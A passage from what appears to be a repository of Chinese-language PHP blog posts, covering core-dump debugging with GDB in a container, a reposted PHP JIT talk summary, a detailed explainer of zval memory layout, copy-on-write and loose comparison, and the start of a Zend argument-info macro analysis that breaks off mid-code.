| 58 | #### 3. 在容器里安装GDB 59 | 60 | 重新做镜像是不可能的了, 临时装一个吧(ps: 如果你不想在配置文件里开启core可以在这里临时设置) 61 | 62 | ```bash 63 | ulimit -c unlimited 64 | apt-get install -y gdb 65 | ``` 66 | 67 | 68 | 69 | #### 4. 触发coredump测试 70 | 71 | 我们可以用一段c代码死循环来尝试触发一个coredump 72 | 73 | 使用`g++ -g`编译, 加-g选项是为了保证debug信息生成在应用程序当中. 74 | 75 | ```c 76 | #include 77 | int main(int argc, char** argv) { 78 | int* p = NULL; 79 | *p = 10; 80 | } 81 | ``` 82 | 83 | 然后 84 | 85 | ```Bash 86 | gdb a.out core 87 | ``` 88 | 89 | 90 | 91 | #### 5. 修改core文件命名 92 | 93 | 坑爹的是, 项目里根目录恰好有个Core文件夹,我的mac硬盘分区给的又是大小写不敏感, GG, 改一波命名.. 94 | 95 | ```bash 96 | echo 'core.%e.%p' > /proc/sys/kernel/core_pattern 97 | ``` 98 | 99 | -------------------------------------------------------------------------------- /_/php-next-jit.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "[转] PHP Next JIT" 3 | date: 2018-01-04 05:28:57 4 | tags: php 5 | --- 6 | 7 | 12月23日,由开源中国联合中国电子技术标准化研究院主办的2017源创会年终盛典在北京万豪酒店顺利举行。作为年末最受期待的开源技术分享盛会,国内顶尖技术大拿、知名技术团队、优秀开源项目作者,及近1000名技术爱好者共聚一堂,探讨最前沿、最流行的技术话题和方向,推动国内开源创新体系发展,共建国内开源生态标准。PHP7 已发布近两年, 大幅的性能提升使得 PHP 的应用场景更加广泛,刚刚发布的 PHP7.2 相比 PHP7.1 又有了近 10% 的提升。在本次大会上,链家集团技术副总裁、PHP 开发组核心成员鸟哥发表了以 “ PHP Next: JIT ”为主题的演讲,分享了 PHP 的下一个性能提升的主要举措:JIT 的进展, 以及下一个大版本的 PHP 可能的特性。他表示,JIT 相比 PHP7.2 ,在一些场景可以达到三倍,但由于 JIT 的核心前提是类型推断,得到的信息越多效果越好,因此也容易受到限制。 JIT 发布后,随着更优秀的代码出现,性能提升会更明显。 8 | 9 | 10 | 11 | ## 惠新宸 12 | 13 | 惠新宸 ,国内最有影响力的PHP技术专家, PHP开发组核心成员 , PECL开发者 , Zend公司外聘顾问, 曾供职于雅虎,百度,新浪。现任链家集团技术副总裁兼总架构师。PHP 7 的核心开发者,PHP5.4,5.5的主要开发者。也是Yaf (Yet another framework),Yar(Yet another RPC framework) 以及Yac(Yet another Cache)、Taint等多个开源项目的作者,同时也是APC,Opcache ,Msgpack等项目的维护者。 14 | 15 | 16 | 17 | ## 演讲实录 18 | 19 | **PHP Next: JIT** 20 | 21 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626739-1.jpeg) 22 | 23 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626740.jpeg) 24 | 25 | 26 | 27 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626740-1.jpeg) 28 | 29 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626741.jpeg) 30 | 31 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626742.jpeg) 32 | 33 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626742-1.jpeg) 34 | 35 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626743.jpeg) 36 | 37 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626743-1.jpeg) 38 | 39 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626744.jpeg) 40 | 41 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626744-1.jpeg) 42 | 43 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626745.jpeg) 44 | 45 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626745-1.jpeg) 46 | 47 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626746.jpeg) 48 | 49 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626746-1.jpeg) 50 | 51 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626747.jpeg) 52 | 53 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626747-1.jpeg) 54 | 55 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626747-2.jpeg) 56 | 57 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626748.jpeg) 58 | 59 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626748-1.jpeg) 60 | 61 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626749.jpeg) 62 | 63 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626749-1.jpeg) 64 | 65 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626750.jpeg) 66 | 67 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626750-1.jpeg) 68 | 69 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626750-2.jpeg) 70 | 71 | ![鸟哥:PHP Next: JIT](http://blog.p2hp.com/wp-content/uploads/2017/12/beepress-beepress-weixin-zhihu-jianshu-plugin-2-4-2-4899-1514626751.jpeg) -------------------------------------------------------------------------------- /_/php-var.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: PHP变量浅析 3 | date: 2019-07-22 11:11:42 4 | tags: [php, zval] 5 | --- 6 | 7 | 这是一篇很久以前写的文章(大概是两年前),一直没发,可能囿于技术水平,有一些错误,已经草草修正了一些内容,如仍有写歪来的地方,欢迎拍砖。 8 | 9 | --- 10 | 我们每天都在和变量打交道,PHP的变量足够简单,当静态语言的初学者还在将类型推导(如C++写"auto foo = 1"将自动推导foo为int类型)惊奇不已的时候,动态语言的开发者早已习以为常了。 11 | 12 | 但天下没有白吃的午餐,变量使用起来越方便,背后的原理就越复杂,你以为你已经能将变量运用自如,但其实你只是个会开车的普通司机,你并不懂车。而你若想要成为PHP世界的专业级赛车手,赛车的每个零部件到组装到核心引擎的运转,你都必须了如指掌。 13 | 14 | 15 | 16 | ## 变量修饰符 17 | 18 | 说到PHP变量,我们首先会想到那个令开发者们又爱又恨的`$`符。不管是喜欢它还是讨厌它的开发者,可能都不是很清楚为什么要用`$`来表示变量。 19 | 20 | 很多人都知道PHP很多的设计都受到了C的影响,毕竟PHP内核就是用C写的,就比如很多基础的函数名和C是一模一样的。但PHP还有一个很重要的前辈是Perl,开发者们普遍认为PHP用`$`符修饰变量是从Perl那里学来的,还有诸如"."连接字符串,用"=>"来设置数组(哈希)键值,"->"访问对象成员等。 21 | 22 | 早期的PHP还在写模板的时候,`$`也为程序员带来了很多好处,如直接在字符串内嵌入变量,甚至很多人并不知道它配合花括号还可以这样: 23 | 24 | ```php 25 | $o = new class { 26 | public function greet(string $name): string 27 | { 28 | return "Hello {$name}!"; 29 | } 30 | }; 31 | echo "{$o->greet('PHP')}"; 32 | ``` 33 | 输出: 34 | 35 | ``` 36 | Hello PHP! 37 | ``` 38 | 或是可变变量 39 | 40 | ```php 41 | $foo = 'bar'; 42 | $$foo = 'char'; 43 | var_dump($bar); 44 | ``` 45 | 输出: 46 | ``` 47 | string(4) "char" 48 | ``` 49 | 此外,`$`符修饰的变量永远不会和语言关键字冲突。 50 | 51 | 当然,这只能算是一些冷知识或是奇技淫巧,作为我们本篇的开胃菜。想要对PHP变量有新的认识,我们得先从表象入手,由浅入深,最后深入理解它的原理。 52 | 53 | # PHP的栈和堆 54 | 55 | 为了搞清楚变量分配,我们还需要要了解PHP中的栈和堆,同样是内存,划分为栈和堆自然有分配上效率的原因。 56 | 57 | 我们事先准备好一块足够大的内存,这就是栈,程序运行时大量的变量符号所需的内存都在栈上挨个分配,函数调用时直接入栈出栈无需每次申请内存,这样就非常快。PHP甚至能事先计算好某个函数调用时需要多大的栈内存,内存不足时便会自动进行栈扩容。 58 | 59 | 我们运行时可能要创建一些字符串或者对象,它们可能会非常大,而且充满不确定性,这时候我们就需要向内存管理器动态地申请一块内存,有时候甚至可能会因为内存限制分配失败,这里所分配的内存就是堆区上的内存。 60 | 61 | > TIP: PHP的栈区是在操作系统的堆区上,扩容时也可能会由于系统内存不足失败,但这很少发生,当系统内存不足时会直接把占用太多内存的进程强制kill掉。 62 | 63 | ## 变量的存储方式 64 | 65 | 首先我们要了解什么是动态语言,动态语言即是在“运行时”可以根据某些条件改变自身结构,如动态注册甚至替换函数等等;而静态语言一般在编译期就完成了函数定义、类型检查等事情。容易混淆的是,**语言的强弱类型和动静态与否并没有关系**,区别在于类型检查的时机:静态语言一般在编译期就进行了类型检查,而动态语言需要在运行时才能检查类型。 66 | 67 | 综上可知,PHP是一门典型的弱类型的动态语言,因为PHP中的变量,**不仅是“量值”可变,“量的类型”也是可以随时变化的**。PHP的变量无需声明,写即可用,非常方便,但这也造成了PHP内核无法在编译期间推断出所有变量的类型,如某个函数的运行结果依赖了外部数据,它的返回值可能是多种类型的,这样就无法在编译期有针对性地优化,而是在运行时不断地做检查。而PHP8想要实现JIT提升性能,就必须克服这个问题,所以PHP正不断地引入强类型特性,随着类型系统愈发完善,开发者也在有意识地**减少动态类型的滥用**,代码质量不断提高。 68 | 69 | 知道了这些以后,我们可以肯定地推测,PHP变量和其它静态语言变量的存储方式是不同的。如我们在C语言中声明一个字符串: 70 | 71 | ```C 72 | const char *string = "hello"; 73 | ``` 74 | 那么显而易见这个字符串占用了6个字节的内存(字符串长度 + \0终止符),这一点你可以用sizeof来验证。 75 | ```C 76 | printf("%zu", sizeof("hello")); // 输出6 77 | ``` 78 | >注:PHP中的sizeof是count的别名,和占用内存并没有关系 79 | 80 | 而由于PHP7增加了很多优化机制,我们并不能在PHP中直观地看见变量和内存的关系(这里指使用memory_get_usage函数,具体的原因我们将在后文讲到)。但我们可以通过分析PHP的内核,即Zend虚拟机的底层源码来推断。 81 | 82 | 如果你有一点C语言基础,那么你应该知道结构体、联合体和一些数据类型,我们可以来看看PHP变量在C底层的结构定义(因为是Zend引擎实现,所以被称作zval): 83 | 84 | ```C 85 | struct zval { 86 | /* 值 (8字节)*/ 87 | union { 88 | zend_long lval; // 对应int类型 89 | double dval; // 对应float类型 90 | zend_string *str; // 对应string类型 91 | zend_array *arr; // 对应array类型 92 | zend_object *obj; // 对应object类型 93 | zend_resource *res; // 对应resource类型 94 | zend_reference *ref; // 对应引用类型 95 | } value; 96 | 97 | /* 类型信息 (4字节) */ 98 | struct { 99 | zend_uchar type; // 存储了变量的类型,以找到对应的value 100 | zend_uchar type_flags; // 内存管理使用,可忽略 101 | uint16_t extra; 102 | } type_info; 103 | 104 | /* 额外信息 (4字节,内存对齐冗余) */ 105 | uint32_t extra; 106 | }; 107 | ``` 108 | 这就是PHP的一个变量在底层的内存布局,这里过滤了一些暂时用不到的信息,简化了它的结构,看起来更加清晰,总的来说有三个部分:**值、类型、额外信息**,构成了PHP变量的容器"zval"。 109 | 我们先来计算一下它在64位机器上占用的内存大小:首先value是一个联合体,它的尺寸取决于它们中最大的那个,不管是long、double、还是指针类型,都正好是占用64位即8个字节;其次是类型信息结构体,一个无符号字符(char)1个字节,类型和类型标志加上额外冗余共计4个字节;最后还有一块额外冗余的值,也是4字节,一共加起来是**16字节**,这就是一个变量本身所占用的内存大小。 110 | 111 | > 不知道为什么有额外信息冗余的可以课外了解一下内存对齐的知识 112 | 113 | 当一个变量是int或者float类型的时候,它占用的内存就正好是16字节,因为这个值是直接存在变量本身的内存中的,而变量的内存又是在PHP的栈区上;当一个变量是字符串、数组、对象、资源的时候,它的value存储的是一个指针,指针指向了真正变量值的内存地址,它是分配在堆区上的。 114 | 115 | 而我们所谈论的字符串,即zend_string的结构体又长这样,包含了三个固定属性:**引用计数信息、哈希值、长度**,在64位系统上一共是24个字节(refcount是4字节的,但是对齐到了8字节),而value的长度是根据字符串长度动态确定的: 116 | 117 | ```C 118 | struct zend_string { 119 | uint32_t refcount; // 引用计数,表示这个字符串被引用了几次 120 | zend_ulong hash; // 哈希缓存,在字符串对比时能够极大提高速度 121 | size_t length; // 字符串长度,确保了字符串的二进制安全 122 | char value[length]; // 字符串内容,此处表示它的内存和这个结构体的内存是连续的 123 | }; 124 | ``` 125 | 已知PHP的字符串也是zero-termination(零结尾)的,那么我们可以推测出,一个字符串变量,就需要占用 “zval + zend_string + 字符串长度 + 1” 这么多的字节,以“hello”来计算就是46个字节(可能还需要内存对齐),而不是C语言中明明白白简简单单的6个字节。 126 | 127 | ## PHP字符串变量的写时分离 128 | 129 | 定义一个8字节的int类型,需要占用16字节的内存(PHP5时代甚至高达32字节,感谢PHP7的优化),定义一个长度为5的字符串,却要占用46个字节的内存,你可能不禁感到使用动态语言的内存代价十分昂贵。 130 | 131 | 事实确实如此,但也不尽然。 132 | 133 | 首先我们来看一个例子: 134 | 135 | ```php 136 | $a = 'hello'; 137 | $b = $a; 138 | ``` 139 | 我们都知道,PHP默认总是传值赋值,那也就是说,当将一个表达式的值赋予一个变量时,整个原始表达式的值被赋值到目标变量。这意味着,当一个变量的值赋予另外一个变量时,改变其中一个变量的值,将不会影响到另外一个变量。被赋值的变量所持有的值,可以称作是副本。 140 | 那么把`$a`赋值给`$b`,是否就会产生一个`$a`的副本,一共占用两倍的内存呢? 141 | 142 | 其实不然,因为**PHP采用了Copy-On-Write(写时复制)的机制,并使用引用计数管理内存**。 143 | 144 | 已知zval上的zend_string是一个指针,那么其它zval也可以用指针指向这个字符串。让我们拆解着看: 145 | 146 | 当我们声明`$a`并赋值时: 147 | 148 | 1. 在栈上符号表中分配了一个`$a`的zval 149 | 2. 在堆区申请内存,创建一个zend_string(24字节头部信息+5+1字节内容),拷贝"hello"给zend_string->value,设置length为5 150 | 3. 赋值,设置`$a`的zval->value.str = 刚才创建zend_string 151 | 152 | 当我们声明`$b`并将`$a`赋值给$b的时候,实则发生了以下事情: 153 | 154 | 1. 在栈上符号表中分配了一个`$b`的zval 155 | 2. 拷贝了`$a`的zval给`$b`的zval,现在它们指向同一个zend_string 156 | 3. zend_string->refcount(引用计数)加1 157 | 158 | 这时候我们知道了,字符串赋值并没有产生字符串的内存拷贝,只是拷贝了zval和增加了引用计数,两个变量都指向了同一个字符串。这样赋值的代价就非常小,几乎可以忽略不计。 159 | 160 | 如果我们修改了`$b`的字符串值呢? 161 | 162 | ```php 163 | $b .= ' world'; // hello world 164 | ``` 165 | 那么此时就会发生写时复制,也叫**写时分离**,即`$a`和`$b`不再指向同一个zend_string,这时候会创建一个真正的zend_string的副本给`$b`,而原来zend_string的引用计数减为1。 166 | 需要注意的是,如果字符串的内容非常大,那么哪怕只是对`$b`追加了一个字符,也将会占用双倍于原来以上内存,代价十分昂贵。 167 | 168 | ## PHP引用计数机制 169 | 170 | 刚才提到了引用计数这个东西,就不得不展开说一下,正如我们所见,zend_string的头部有一个refcount属性,表示这个zend_string被几个zval所引用了,当我们将它赋值给某个zval时,它就加1,当某个持有它的zval不再被用到时,它就减1,当它变为0的时候,表示再也没有zval指向它了,那么PHP内核就会根据zval的类型,调用相应的释放函数来释放它的内存。 171 | 172 | PHP中常见的拥有引用计数的类型有:string、array、object,它们的数据结构的头部都是refcount。 173 | 174 | 其中,object大家都知道有构造、析构函数,当object的引用计数为0时,先会调用析构函数,再释放内存。 175 | 176 | 基于引用计数的内存管理方式好处显而易见:**简单、可靠、实时回收、不会造成程序长时间停顿、还可以清晰地标明每一个变量的生命周期**。但它也不是没有缺点,频繁且大量地更新计数也会有一定的开销,原始的引用计数也无法解决循环引用的问题。 177 | 178 | ## PHP数组变量的写时分离 179 | 180 | 数组和字符串一样,都是在堆区分配内存,并由zval指向一个zend_array,zend_array的头部也有引用计数。 181 | 182 | 你可以暂且把数组简单看做一堆zval的集合,当数组发生写时分离时,只会拷贝数组本身,也就是产生一个新的zval的集合,所有数组上的有引用计数的zval,其计数都会加1,而不是数组上的每一个元素都会产生写时分离。 183 | 184 | ## PHP数字变量的值拷贝 185 | 186 | ```php 187 | $a = 1; 188 | $b = $a; 189 | ``` 190 | 这个例子里,`$a`和`$b`的zval.value.lval上都单独存储了一个8字节的0x00000001,而不是像字符串那样另有指向,因为zval只有16字节,且它总是在栈区上分配,无需单独申请一块内存,所以当我们赋值一个数字的时候,总是将整个zval拷贝过去,这样的拷贝非常快代价几乎可以忽略不计,并且省去了引用计数的管理。 191 | 192 | ## PHP无值布尔变量 193 | 194 | 按照常人的理解,PHP的zval的布尔值设计一定是定义一个type为IS_BOOL,然后value中有一个zend_bool的值,为0时表示false,为1时表示true。 195 | 196 | 可事实上并不是这样,PHP使用type这一个量来实现布尔值,**布尔型的zval对应了两种type:IS_TRUE和IS_FALSE**。 197 | 198 | 这样在赋值一个变量为布尔值时,只需要改变zval的type,而不需要去修改zval的value。 199 | 200 | ## PHP的NULL 201 | 202 | NULL和布尔值一样,只有type,没有value。这里又有一个常见的误区,即**unset变量和设置一个变量为NULL是两种不一样的操作**,unset是从符号表或数组中删除某个变量,而赋值null是将变量的type置为IS_NULL,更具体的区别,我们将在后续模块中讲到,这将涉及到一种隐藏类型的变量——UNDEF变量。 203 | 204 | ## PHP变量引用 205 | 206 | 我们已知zval只是一个变量的容器,它在管理字符串、数组、对象、资源的时候,都是采用指针指向的方式,而我们又常说,**object(对象)总是传引用的**,但这并不代表存储object的zval是一个引用变量。 207 | 208 | 结合我们上述分析,可以推出,对象在传递的时候,同样会拷贝zval,但是**任我们如何操作对象,也永远不会发生写时分离产生新的对象**,如此简单就实现了对象永远是"传引用"的机制了。 209 | 210 | resource类型(资源)也是一样,略有不同的就是,资源都是向操作系统申请的,它无法被clone,即无法生成副本。 211 | 212 | ## PHP引用变量 213 | 214 | 引用变量是相对罕见的,它会引入一些复杂性,有时候难以拿捏。如**最常见的错误就是将对象类型的变量进行引用赋值或引用传递**,显而易见的多此一举。 215 | 216 | 引用变量和对象传引用不同,引用是符号表别名,它不是和object那样多个zval指向同一个对象的指针,而是引用变量的zval指向了被引用的zval,所有的修改都相当于对被引用的zval操作,唯一的例外是对引用变量使用unset,它不会删除被引用zval的值,而是解除了对其的引用。 217 | 218 | 由于写时拷贝的存在和PHP的一些优化措施,引用变量显得有些鸡肋,我们通常也不建议使用引用,让我们来看两个例子: 219 | 220 | ```php 221 | function foo(string $a): string 222 | { 223 | return $a . 'bar'; 224 | } 225 | ``` 226 | ```php 227 | function foo(string &$a) 228 | { 229 | $a .= 'bar'; 230 | } 231 | ``` 232 | 这两种写法会有什么性能差异吗?有一定C++基础的人或许不难看出,第二种写法在C++中的同等例子或许可以减少一次对象构造和内存拷贝,但在PHP中并不成立。 233 | 1. 当传入的`$a`引用计数为1时,在例一中,PHP会将字符串的改动直接作用于传入变量本身并返回,不会发生写时分离,效果和例二没有区别(这就是引用计数的优点之一,可以实时判断变量的生命周期状态,减少内存拷贝)。 234 | 2. 当传入的`$a`引用计数大于1时,对于字符串的修改又引发了写时分离,例1和例2都会产生一个新的字符串副本。 235 | 236 | 那么问题又来了,为什么PHP有些内置函数参数是引用的呢?比如非常常见的sort系列函数——那是因为这些函数的出现早于PHP4实现写时复制的版本,那时候的PHP还称不上严格意义上的语言。 237 | 238 | 所以在PHP中,**随意滥用引用是不好的,不要期望引用能够提高性能,它多数时候只会惹是生非**。 239 | 240 | 但引用肯定也有用武之地,那么什么时候我们才该使用引用呢? 241 | 242 | ```php 243 | foreach ($array as &$value) { 244 | $value += 1; 245 | } 246 | foreach ($array as $index => $value) { 247 | $array[$index] += 1; 248 | } 249 | ``` 250 | 如果你尝试拿一个大的**关联数组**做一下性能测试,就可以发现第一种的情况的运行速度优于第二种,为什么非得是关联数组呢?因为第二种方式每次增加键值时,都会多一次哈希查找的步骤。但如果不是关联数组,又有什么区别呢?这里有个新的知识点,我们留到后续数组的章节再来讨论。 251 | 此外,类似array_walk这样的数组遍历函数,当我们想修改数组内的值时,callback定义的参数通常也是加引用符的,若**只是只读地访问变量,我们永远都不需要加引用**。 252 | 253 | ## PHP变量的循环引用 254 | 255 | 当我们已经初步了解了上述知识以后,我们就可以来思考这样一个问题,如果一个变量自己引用了自己,那么会发生什么? 256 | 257 | ```php 258 | $foo = []; 259 | $foo[] = &$foo; 260 | var_dump($foo); 261 | ``` 262 | 输出 263 | ```php 264 | array(1) { 265 | [0]=> 266 | &array(1) { 267 | [0]=> 268 | *RECURSION* 269 | } 270 | } 271 | ``` 272 | 可以由RECURSION看出来foo变量循环引用了自身,如果无限制递归地打印,将会变成死循环输出。 273 | 而当foo变量不再被用到时,它的引用计数减一,但由于它的内部自己引用了自己,它将永远保持最低为1的引用计数,将无法被释放。在PHP5.3以前,这种情况没有解决方案,只能依靠FPM模型下的重启VM解决,如果是常驻内存的应用,这种情况将会产生持续的内存泄漏。这也是前文提到的原始引用计数下无法解决的问题之一。 274 | 275 | 好在PHP5.3后引入了垃圾回收机制,通过一种同步回收算法,定量地深度度优先遍历疑似垃圾,进行模拟删除和模拟恢复,以此筛选得出循环引用的垃圾,然后进行内存回收,解决了这个问题。 276 | 277 | 但我们在开发中仍需重视循环引用的问题,降低垃圾回收的负担。 278 | 279 | ## PHP变量的隐式转换、整数溢出 280 | 281 | 前文我们已经说了PHP的变量是动态弱类型的,那么就意味着它允许变量之间的隐式转换。 282 | 283 | **所谓隐式转换,就是指当你将A类型的变量当作B类型来操作时,A类型将会自动转换为B类型,而不是产生一个类型错误**。 284 | 285 | PHP底层定义了一系列convert方法来进行这样的转换,convert系列方法会先switch判断zval里存储的type,跳跃到对应的处理流程进行转换。 286 | 287 | 比较常见的隐式转换就是数字和字符串之间的转换,这里PHP巧妙地用“.”符号来表示字符串拼接,“+”符号来表示加法运算,在某些场景下很好地避免了错误的隐式转换类型。 288 | 289 | 此外,PHP的标量类型尽管在引入了函数类型定义的情况下,仍允许隐式转换,如当你将一个string类型的变量传给了一个限制了int类型的参数,string将会自动转为int,除非你在文件开头定义"declare(strict_types=1);",这也是部分高质量开源库的硬性要求,这种做法在未来的PHP中将有很大受益。 290 | 291 | 类似PHP这样的动态类型语言还有一个通病就是不方便解决整数溢出问题,PHP的int型是有符号整数,比无符号的范围要小很多,大部分语言的解决方法就是在溢出时将数值转换成浮点型,PHP也是这么做的: 292 | 293 | ```php 294 | $foo = PHP_INT_MAX; 295 | var_dump($foo); // 输出 int(9223372036854775807) 296 | $foo++; 297 | var_dump($foo); // 输出 float(9.2233720368548E+18) 298 | $foo -= PHP_INT_MAX; 299 | var_dump($foo); // 输出 float(0) 出现丢失 300 | ``` 301 | 但我们都知道,浮点型的精度有限,所以在某些时候,我们可能需要借助bcmath扩展来处理大数字。 302 | 此外值得一提的是,从数据库取大的整型数据这样的场景中,**超出范围的整型变量PHP底层将会将其变成字符串型,以确保不会发生信息丢失。** 303 | 304 | ## PHP变量的比较 305 | 306 | 作为一个有经验的PHP程序员,不可能不知道强等于(===)和弱等于(==)的区别。合格的PHPer大都首选强等于,加之PHP类型系统的不断完善,“declare(strict_types=1);”甚至也成了必选。 307 | 308 | 但很多开发者并没有注意到, PHP中还存在着使用松散比较的函数,如最常用的"in_array",需要设定第三个参数为true,甚至最基础的switch语句使用的也是松散比较,稍不注意,就会陷入变量松散比较的陷阱中。 309 | 310 | >以下返回结果都是true,你所忽视的变量松散比较正在破坏着你的程序逻辑 311 | ```php 312 | var_dump(in_array('foo', [0])); 313 | var_dump(in_array(0, ['bar'])); 314 | var_dump(in_array(null, [[]])); 315 | ``` 316 | 这里还是涉及到了类型转换的知识,当两个不同类型的变量进行松散比较时,PHP内核总是按照特定规则将它们转为同一类型的变量,再进行比较。 317 | 但在PHP8中,某些不安全的比较行为可能会得到校正,如字符串总是等于0,这一改动会从语言的根本导致向下不兼容,但这是一个正确的方向,PHP8应该有这样的勇气去除糟粕,才能成大事。 318 | 319 | >相关RFC: [https://wiki.php.net/rfc/string_to_number_comparison](https://wiki.php.net/rfc/string_to_number_comparison?fileGuid=mGhZJpuH2DsRCwY2) 320 | 321 | 而强类型比较则是在弱比较的基础上,还判断了两个变量是否是相同类型的,因此它**不会引发任何隐式的类型转换。** 322 | 323 | 除此之外,"=="的语义自然是"equal",而“===”的语义实际上是"identical",也就是“同一的“,对于PHP的一些基本类型,如数字、字符串、数组等,两个变量的值相等即可,但对于对象类型的比较,则要求是”同一个对象“,如: 324 | 325 | ```php 326 | var_dump(new stdClass === new stdClass); 327 | ``` 328 | 这个例子中虽然两个对象别无二致,但由于不是同一个对象,将会返回false。 329 | 330 | ## 结语 331 | 332 | PHP的变量说简单,是真的简单,无需声明,想用就用,或许很多开发者长久以来从未思考过变量背后的运作原理,只是一味地使用。实际上zva的设计十分精妙,用繁浩的底层代码来隐藏了编程的复杂性,让PHP开发者享受到了快乐开发的乐趣。 333 | -------------------------------------------------------------------------------- /_/php-zend-arg-info.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "PHP内核 - ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX 分析" 3 | date: 2018-07-15 10:38:48 4 | tags: PHP 5 | --- 6 | 7 | 前一部分内容抄自振宇哥的博客: [旷绝一世](http://kuangjue.com/article/70), 在此基础后续扩写一部分 8 | 9 | 我们在写扩展的时候很常见的这样的宏,就比如swoole扩展中: 10 | 11 | ``` 12 | ZEND_BEGIN_ARG_INFO_EX(arginfo_swoole_server_listen, 0, 0, 3)//名字,unused,引用返回,参数个数 13 | ZEND_ARG_INFO(0, host) 14 | ZEND_ARG_INFO(0, port) 15 | ZEND_ARG_INFO(0, sock_type) 16 | ZEND_END_ARG_INFO() 17 | ``` 18 | 这个宏组合是用来定义函数的参数,我们不妨去跟下`ZEND_BEGIN_ARG_INFO_EX` 与`ZEND_END_ARG_INFO`的定义。 19 | 定义在zend_API.h文件中,`ZEND_BEGIN_ARG_INFO_EX`的定义为: 20 | 21 | ```C 22 | #define ZEND_BEGIN_ARG_INFO_EX(name, _unused, return_reference, required_num_args) \ 23 | static const zend_internal_arg_info name[] = { \ 24 | {(const char*)(zend_uintptr_t)(required_num_args), 0, return_reference, 0 }, 25 | ``` 26 | ZEND_END_ARG_INFO的定义为: 27 | 28 | ```C 29 | #define ZEND_ARG_INFO(pass_by_ref, name){ #name, 0, pass_by_ref, 0}, 30 | ``` 31 | 那么组合起来变成c代码就是 32 | ```C 33 | static const zend_internal_arg_info arginfo_swoole_server_listen[] = { \ 34 | {3, 0, 0, 0 }, 35 | { host, 0, 0, 0}, 36 | { port, 0, 0, 0}, 37 | { sock_type, 0, 0, 0}, 38 | } 39 | ``` 40 | 41 | 42 | 现在看来就是定义了一个zend_internal_arg_info结构数组,在zend/zend_compile.h文件中定义: 43 | 44 | ```C 45 | typedef struct _zend_internal_arg_info { 46 | const char *name; //参数名称 47 | const char *class_name; //当参数类型为类时,指定类的名称 48 | zend_uchar type_hint; //参数类型是否为数组 49 | zend_uchar pass_by_reference; //是否设置为引用,即& 50 | zend_bool allow_null; //是否允许设置为空 51 | zend_bool is_variadic;//**是否为可变参数** 52 | } zend_internal_arg_info; 53 | ``` 54 | PHP7中还加入了返回值类型声明这一新特性, 但是到目前为止, 各种扩展几乎没有添加返回值声明的意思, 但是这一特性对于IDE提示的生成非常有帮助 55 | 56 | ```C 57 | #define ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX(name, return_reference, required_num_args, type, allow_null) \ 58 | static const zend_internal_arg_info name[] = { \ 59 | { (const char*)(zend_uintptr_t)(required_num_args), 